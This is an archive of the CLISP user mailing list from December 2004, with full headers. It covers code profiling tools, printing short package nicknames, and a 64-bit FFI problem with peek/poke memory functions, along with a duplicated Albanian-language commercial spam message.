clisp-list@lists.sourceforge.net; Wed, 08 Dec 2004 07:37:16 -0800 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cc3sQ-0004wN-HG for clisp-list@lists.sourceforge.net; Wed, 08 Dec 2004 07:37:16 -0800 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id F3F6810DE39; Wed, 8 Dec 2004 10:37:09 -0500 (EST) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id iB8Fb94t031318; Wed, 8 Dec 2004 10:37:09 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id iB8Fb9bf031315; Wed, 8 Dec 2004 10:37:09 -0500 Message-Id: <200412081537.iB8Fb9bf031315@van-halen.alma.com> From: "John K. Hinsdale" To: stralth@gmail.com Cc: clisp-list@lists.sourceforge.net In-reply-to: <5d0af38104120807206811a12c@mail.gmail.com> (message from Mike Kaplan on Wed, 8 Dec 2004 10:20:56 -0500) Subject: Re: [clisp-list] code profiling X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 8 07:38:06 2004 X-Original-Date: Wed, 8 Dec 2004 10:37:09 -0500 > I've been developing with clisp for relatively short while now (and > enjoying it greatly) and i've reached the point in development where I > need to make my code run faster. What code profiling capabilities > does clisp have if any? A(n admittedly brief) search of the > documentation and web site turned up nothing for me (outside of the > time function). I've used "metering.lisp" with a good amount of success. It is part of the Common Lisp Open Code Collection which I think is presently residing at: http://clocc.sourceforge.net/ I've also found helpful the general advice given in Paul Graham's book "ANSI Common Lisp": http://www.paulgraham.com/acl.html This includes things like - find the bottleneck - compile your code - try not to cons to much - use destructive operators - tell Lisp about your data types if possible The first one -- profile and find the bottleneck -- is by far the most important. It's a good sign that got into using the language, and that you are treating the profiling and tuning things a a follow-on exercise. That is the way it should be done. So try "metering.lisp" first, see where your bottleneck is, and then go from there. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From sds@gnu.org Wed Dec 08 07:39:59 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cc3v5-00021f-B7 for clisp-list@lists.sourceforge.net; Wed, 08 Dec 2004 07:39:59 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Cc3v3-0003Sa-UO for clisp-list@lists.sourceforge.net; Wed, 08 Dec 2004 07:39:58 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iB8Fdl28021662; Wed, 8 Dec 2004 10:39:47 -0500 (EST) To: clisp-list@lists.sourceforge.net, Mike Kaplan Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5d0af38104120807206811a12c@mail.gmail.com> (Mike Kaplan's message of "Wed, 8 Dec 2004 10:20:56 -0500") References: <41B62B33.3080306@gmx.net> <5d0af38104120807206811a12c@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Mike Kaplan Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Re: code profiling Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 8 07:40:07 2004 X-Original-Date: Wed, 08 Dec 2004 10:39:46 -0500 > * Mike Kaplan [2004-12-08 10:20:56 -0500]: > > I've been developing with clisp for relatively short while now (and > enjoying it greatly) and i've reached the point in development where I > need to make my code run faster. What code profiling capabilities > does clisp have if any? A(n admittedly brief) search of the > documentation and web site turned up nothing for me (outside of the > time function). EXT:TIMES (TIME & Space) For profiling I use CLOCC/MONITOR and find it quite adequate. See -- Sam Steingold (http://www.podval.org/~sds) running w2k Hard work has a future payoff. Laziness pays off NOW. From www-data@www.vh58.de Wed Dec 08 10:25:59 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cc6Vj-0007MX-4i for clisp-list@lists.sourceforge.net; Wed, 08 Dec 2004 10:25:59 -0800 Received: from server8324611291.serverpool.info ([83.246.112.91]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Cc6Vi-0002u5-1C for clisp-list@lists.sourceforge.net; Wed, 08 Dec 2004 10:25:58 -0800 Received: from www-data by server8324611291.serverpool.info with local (Exim 3.36 #1 (Debian)) id 1Cc6Vg-00032Z-00 for ; Wed, 08 Dec 2004 19:25:56 +0100 To: clisp-list@lists.sourceforge.net From:office@omtel.de Reply-To: office@omtel.de X-Mailer: Servus X-Sender-IP: 564.564.564.564 Content-Type: text Message-Id: X-Spam-Score: -0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 2.1 BLANK_LINES_70_80 BODY: Message body has 70-80% blank lines 2.2 MIME_HEADER_CTYPE_ONLY 'Content-Type' found without required MIME headers 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] E nderuara Kompani! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 8 10:26:14 2004 X-Original-Date: Wed, 08 Dec 2004 19:25:56 +0100 E nderuara Kompani! ITS Germany e cila operon prej vitesh ne fushen e telekomunikacionit dhe internetit, tashme deshiron te zgjeroje aktivitetin e saj edhe ne teritorin e Kosoves . Stafi yne i perbere nga inxhiniere, teknike, designer, analiste tregu, etj. Kane pergatitur www.kosova-informacion.de Ne kete portal mund te nxirren njoftime per shitblerje, qeradhenie e qeramarrje te pasurive te patundshme, automjeteve, pajisjeve, apo te sherbimeve te ndryshme si telekomunikacioni, hoteleri-turizmi, apo udhetimet, etj. Cdo njoftim mund te shoqerohet me 1-6 fotografi te objektit. Cmimi per njoftim varion ne varesi te kategorise se objektit, kohezgjatjes online te njoftimit dhe numrit te fotografive (cmim i cili do te vendoset bashke me ju). ITS Germany eshte duke kerkuar Perfaqesuesin / Distributorin e saj per Kosove i cili do te marre Eskluzivitetin e plote te www.kosova-informacion.de per te gjithe territorin e Kosoves. Marrja e Eskluzivitetit nenkupton fillimin dhe zhvillimin e gjithe aktivitetit komercial te ketij portali vetem nga nje Perfaqesues / Distributor pra vetem nga ju. Nderkohe ITS Germany merr persiper mirembajtjen dhe suportin teknik te portalit, si dhe mbeshtetjen e saj nepermjet konsulences se nevojshme ne cdo moment. Per cdo informacion apo interes tuajin, ju lutem te na kontaktoni nepermjet postes sone elektronike , ne ju mirepresim. Na lejoni t’ju urojme mireseardhjen ne kompanine tone, kompania me e madhe e telekomunikacionit dhe internetit ne Gjermani! Me respekt, A. Berzani Directorin Development office@omtel.de From www-data@www.vh58.de Wed Dec 08 10:25:59 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cc6Vj-0007MZ-9h for clisp-list@lists.sourceforge.net; Wed, 08 Dec 2004 10:25:59 -0800 Received: from server8324611291.serverpool.info ([83.246.112.91]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cc6Vi-0001Cv-QK for clisp-list@lists.sourceforge.net; Wed, 08 Dec 2004 10:25:59 -0800 Received: from www-data by server8324611291.serverpool.info with local (Exim 3.36 #1 (Debian)) id 1Cc6Vh-00032y-00 for ; Wed, 08 Dec 2004 19:25:57 +0100 To: clisp-list@lists.sourceforge.net From:office@omtel.de Reply-To: office@omtel.de X-Mailer: Servus X-Sender-IP: 564.564.564.564 Content-Type: text Message-Id: X-Spam-Score: -0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 2.1 BLANK_LINES_70_80 BODY: Message body has 70-80% blank lines 2.2 MIME_HEADER_CTYPE_ONLY 'Content-Type' found without required MIME headers 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] E nderuara Kompani! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 8 10:26:16 2004 X-Original-Date: Wed, 08 Dec 2004 19:25:57 +0100 E nderuara Kompani! ITS Germany e cila operon prej vitesh ne fushen e telekomunikacionit dhe internetit, tashme deshiron te zgjeroje aktivitetin e saj edhe ne teritorin e Kosoves . Stafi yne i perbere nga inxhiniere, teknike, designer, analiste tregu, etj. Kane pergatitur www.kosova-informacion.de Ne kete portal mund te nxirren njoftime per shitblerje, qeradhenie e qeramarrje te pasurive te patundshme, automjeteve, pajisjeve, apo te sherbimeve te ndryshme si telekomunikacioni, hoteleri-turizmi, apo udhetimet, etj. Cdo njoftim mund te shoqerohet me 1-6 fotografi te objektit. Cmimi per njoftim varion ne varesi te kategorise se objektit, kohezgjatjes online te njoftimit dhe numrit te fotografive (cmim i cili do te vendoset bashke me ju). ITS Germany eshte duke kerkuar Perfaqesuesin / Distributorin e saj per Kosove i cili do te marre Eskluzivitetin e plote te www.kosova-informacion.de per te gjithe territorin e Kosoves. Marrja e Eskluzivitetit nenkupton fillimin dhe zhvillimin e gjithe aktivitetit komercial te ketij portali vetem nga nje Perfaqesues / Distributor pra vetem nga ju. Nderkohe ITS Germany merr persiper mirembajtjen dhe suportin teknik te portalit, si dhe mbeshtetjen e saj nepermjet konsulences se nevojshme ne cdo moment. Per cdo informacion apo interes tuajin, ju lutem te na kontaktoni nepermjet postes sone elektronike , ne ju mirepresim. Na lejoni t’ju urojme mireseardhjen ne kompanine tone, kompania me e madhe e telekomunikacionit dhe internetit ne Gjermani! Me respekt, A. Berzani Directorin Development office@omtel.de From d.freudenthal@liverpool.ac.uk Fri Dec 10 02:16:34 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CchpB-0004HX-Hx for clisp-list@lists.sourceforge.net; Fri, 10 Dec 2004 02:16:33 -0800 Received: from mx3.liv.ac.uk ([138.253.100.181]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CchpA-0001j9-TG for clisp-list@lists.sourceforge.net; Fri, 10 Dec 2004 02:16:33 -0800 Received: from mailhub1.liv.ac.uk ([138.253.100.94]) by mx3.liv.ac.uk with esmtp (Exim 4.34) id 1Cchp2-0004Tv-Gn for clisp-list@lists.sourceforge.net; Fri, 10 Dec 2004 10:16:24 +0000 Received: from localhost ([127.0.0.1] helo=mailhub1.liv.ac.uk) by mailhub1.liv.ac.uk with esmtp (Exim 4.34) id 1Cchp2-0003f1-9Y for clisp-list@lists.sourceforge.net; Fri, 10 Dec 2004 10:16:24 +0000 Received: from pc181218.psycho.liv.ac.uk ([138.253.181.218]) by mailhub1.liv.ac.uk with asmtp (TLSv1:RC4-SHA:128) (Exim 4.34) id 1Cchp2-0003ey-7k for clisp-list@lists.sourceforge.net; Fri, 10 Dec 2004 10:16:24 +0000 Mime-Version: 1.0 (Apple Message framework v619) Content-Transfer-Encoding: 7bit Message-Id: <8B91736A-4A94-11D9-8B00-000A95BA9D60@liv.ac.uk> Content-Type: text/plain; charset=US-ASCII; format=flowed To: clisp-list@lists.sourceforge.net From: Daniel Freudenthal X-Mailer: Apple Mail (2.619) X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] printing shortest package nickname Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 10 02:17:01 2004 X-Original-Date: Fri, 10 Dec 2004 10:16:24 +0000 Is there anyway to force CLISP to print the shortest package nickname instead of the full package name? I want to inspect some rather large objects, and the inspector reports them as COMMON-LISP-USER::object-type. Since the objects contain other objects, I end up with half my screen being filled with package names as opposed to the contents of the object I'm interested in. If I could reduce this to a shorter nickname (or prevent the package name from being printed alltogether), it might be able to get more of the information I'm interested in on the screen. Allegro CL has the *print-nickname* flag, which appears to do precisely what I want, but I have been unable to find a CLISP equivalent. Thanks, Daniel From sds@gnu.org Fri Dec 10 06:20:36 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CcldM-0007ss-81 for clisp-list@lists.sourceforge.net; Fri, 10 Dec 2004 06:20:36 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CcldL-00077n-Fa for clisp-list@lists.sourceforge.net; Fri, 10 Dec 2004 06:20:36 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iBAEKQ3T007277; Fri, 10 Dec 2004 09:20:26 -0500 (EST) To: clisp-list@lists.sourceforge.net, Daniel Freudenthal Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <8B91736A-4A94-11D9-8B00-000A95BA9D60@liv.ac.uk> (Daniel Freudenthal's message of "Fri, 10 Dec 2004 10:16:24 +0000") References: <8B91736A-4A94-11D9-8B00-000A95BA9D60@liv.ac.uk> Mail-Followup-To: clisp-list@lists.sourceforge.net, Daniel Freudenthal Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: printing shortest package nickname Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 10 06:21:02 2004 X-Original-Date: Fri, 10 Dec 2004 09:20:26 -0500 > * Daniel Freudenthal [2004-12-10 10:16:24 +0000]: > > Is there anyway to force CLISP to print the shortest package nickname > instead of the full package name? I want to inspect some rather large > objects, and the inspector reports them as > COMMON-LISP-USER::object-type. Since the objects contain other > objects, I end up with half my screen being filled with package names > as opposed to the contents of the object I'm interested in. If I could > reduce this to a shorter nickname (or prevent the package name from > being printed alltogether), it might be able to get more of the > information I'm interested in on the screen. Allegro CL has the > *print-nickname* flag, which appears to do precisely what I want, but > I have been unable to find a CLISP equivalent. this is not yet implemented. would you like to work on this? -- Sam Steingold (http://www.podval.org/~sds) running w2k Computers are like air conditioners: they don't work with open windows! From d.freudenthal@liverpool.ac.uk Fri Dec 10 06:40:45 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cclwq-00013B-S2 for clisp-list@lists.sourceforge.net; Fri, 10 Dec 2004 06:40:44 -0800 Received: from mx3.liv.ac.uk ([138.253.100.181]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cclwo-0007n8-NY for clisp-list@lists.sourceforge.net; Fri, 10 Dec 2004 06:40:44 -0800 Received: from mailhub1.liv.ac.uk ([138.253.100.94]) by mx3.liv.ac.uk with esmtp (Exim 4.34) id 1Cclwh-0003bE-S7 for clisp-list@lists.sourceforge.net; Fri, 10 Dec 2004 14:40:35 +0000 Received: from localhost ([127.0.0.1] helo=mailhub1.liv.ac.uk) by mailhub1.liv.ac.uk with esmtp (Exim 4.34) id 1Cclwh-0003eX-Pd for clisp-list@lists.sourceforge.net; Fri, 10 Dec 2004 14:40:35 +0000 Received: from pc181218.psycho.liv.ac.uk ([138.253.181.218]) by mailhub1.liv.ac.uk with asmtp (TLSv1:RC4-SHA:128) (Exim 4.34) id 1Cclwg-0003eQ-GF for clisp-list@lists.sourceforge.net; Fri, 10 Dec 2004 14:40:35 +0000 Mime-Version: 1.0 (Apple Message framework v619) In-Reply-To: References: <8B91736A-4A94-11D9-8B00-000A95BA9D60@liv.ac.uk> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <733A9DE6-4AB9-11D9-8B00-000A95BA9D60@liv.ac.uk> Content-Transfer-Encoding: 7bit From: Daniel Freudenthal To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.619) X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: printing shortest package nickname Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 10 06:41:02 2004 X-Original-Date: Fri, 10 Dec 2004 14:40:34 +0000 On Dec 10, 2004, at 2:20 pm, Sam Steingold wrote: >> > > this is not yet implemented. > would you like to work on this? I'm afraid I really wouldn't know where to start. From sds@gnu.org Fri Dec 10 08:16:43 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CcnRj-0001ZN-L2 for clisp-list@lists.sourceforge.net; Fri, 10 Dec 2004 08:16:43 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CcnRi-0005Ay-UN for clisp-list@lists.sourceforge.net; Fri, 10 Dec 2004 08:16:43 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iBAGGW3T014127; Fri, 10 Dec 2004 11:16:32 -0500 (EST) To: clisp-list@lists.sourceforge.net, Daniel Freudenthal Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <733A9DE6-4AB9-11D9-8B00-000A95BA9D60@liv.ac.uk> (Daniel Freudenthal's message of "Fri, 10 Dec 2004 14:40:34 +0000") References: <8B91736A-4A94-11D9-8B00-000A95BA9D60@liv.ac.uk> <733A9DE6-4AB9-11D9-8B00-000A95BA9D60@liv.ac.uk> Mail-Followup-To: clisp-list@lists.sourceforge.net, Daniel Freudenthal Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: printing shortest package nickname Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 10 08:17:05 2004 X-Original-Date: Fri, 10 Dec 2004 11:16:32 -0500 > * Daniel Freudenthal [2004-12-10 14:40:34 +0000]: > > On Dec 10, 2004, at 2:20 pm, Sam Steingold wrote: >>> >> >> this is not yet implemented. >> would you like to work on this? > > I'm afraid I really wouldn't know where to start. I just implemented this feature. please try CVS HEAD. -- Sam Steingold (http://www.podval.org/~sds) running w2k You think Oedipus had a problem -- Adam was Eve's mother. From pjb@informatimago.com Sat Dec 11 15:32:11 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CdGih-0006rY-8W for clisp-list@lists.sourceforge.net; Sat, 11 Dec 2004 15:32:11 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CdGig-0000mD-0u for clisp-list@lists.sourceforge.net; Sat, 11 Dec 2004 15:32:11 -0800 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 0FE00586E3; Sun, 12 Dec 2004 00:31:54 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 7B06E4F9D; Sun, 12 Dec 2004 00:31:52 +0100 (CET) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en Reply-To: Message-Id: <20041211233152.7B06E4F9D@thalassa.informatimago.com> X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] 64-bit FFI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 11 15:33:02 2004 X-Original-Date: Sun, 12 Dec 2004 00:31:52 +0100 (CET) It seems that 64-bit FFI doesn't work. I've got a simple peek-and-poke library: unsigned char peek8 (unsigned char* address){return(*address);} unsigned short peek16(unsigned short* address){return(*address);} unsigned long peek32(unsigned long* address){return(*address);} unsigned long long peek64(unsigned long long* address){return(*address);} void poke8(unsigned char* address,unsigned char value){(*address)=value;} void poke16(unsigned short* address,unsigned short value){(*address)=value;} void poke32(unsigned long* address,unsigned long value){(*address)=value;} void poke64(unsigned long long* address, unsigned long long value){(*address)=value;} The code generated is ok, the C compiler push and fetches the 64-bit arguments on the stack, but it doesn't work with these FFI declarations: (defmacro generate-peek-and-poke () (loop with code = '() for size in '(8 16 32 64) ;; peek and poke of 64-bit don't work. for c-peek-name = (format nil "peek~D" size) for c-poke-name = (format nil "poke~D" size) do (loop for type in '(uint sint) for l-peek-name = (intern (with-standard-io-syntax (format nil"PEEK-~A~D" type size)) "COM.INFORMATIMAGO.CLISP.RAW-MEMORY") for l-poke-name = (intern (with-standard-io-syntax (format nil"POKE-~A~D" type size)) "COM.INFORMATIMAGO.CLISP.RAW-MEMORY") for l-type = (intern (with-standard-io-syntax (format nil"~A~D" type size)) "FFI") do (push `(ffi:def-call-out ,l-peek-name (:name ,c-peek-name) (:arguments (address ffi:ulong)) (:return-type ,l-type) (:library #.+library+) (:language :stdc)) code) (push `(ffi:def-call-out ,l-poke-name (:name ,c-poke-name) (:arguments (address ffi:ulong) (value ,l-type)) (:return-type nil) (:library #.+library+) (:language :stdc)) code)) finally (return `(progn ,@ code)))) (eval-when (:load-toplevel :execute) (generate-peek-and-poke)) This is not urgent since I use this work around: (defun peek-uint64 (address) (dpb (raw-memory:peek-uint32 (+ 4 address)) (byte 32 32) (raw-memory:peek-uint32 address))) (defun peek-sint64 (address) (dpb (raw-memory:peek-uint32 (+ 4 address)) (byte 32 32) (raw-memory:peek-uint32 address))) (defun poke-uint64 (address object) (raw-memory:poke-uint32 address (ldb (byte 32 0) object)) (raw-memory:poke-uint32 (+ 4 address) (ldb (byte 32 32) object))) (defun poke-sint64 (address object) (raw-memory:poke-uint32 address (ldb (byte 32 0) object)) (raw-memory:poke-uint32 (+ 4 address) (ldb (byte 32 32) object))) -- __Pascal Bourguignon__ http://www.informatimago.com/ The world will now reboot; don't bother saving your artefacts. From pjb@informatimago.com Sat Dec 11 16:44:20 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CdHqV-0003pr-Vy for clisp-list@lists.sourceforge.net; Sat, 11 Dec 2004 16:44:19 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CdHqT-0005Ci-1y for clisp-list@lists.sourceforge.net; Sat, 11 Dec 2004 16:44:19 -0800 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id EF352586E3; Sun, 12 Dec 2004 01:44:09 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id C11684F8A; Sun, 12 Dec 2004 01:44:09 +0100 (CET) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en Reply-To: Message-Id: <20041212004409.C11684F8A@thalassa.informatimago.com> X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to 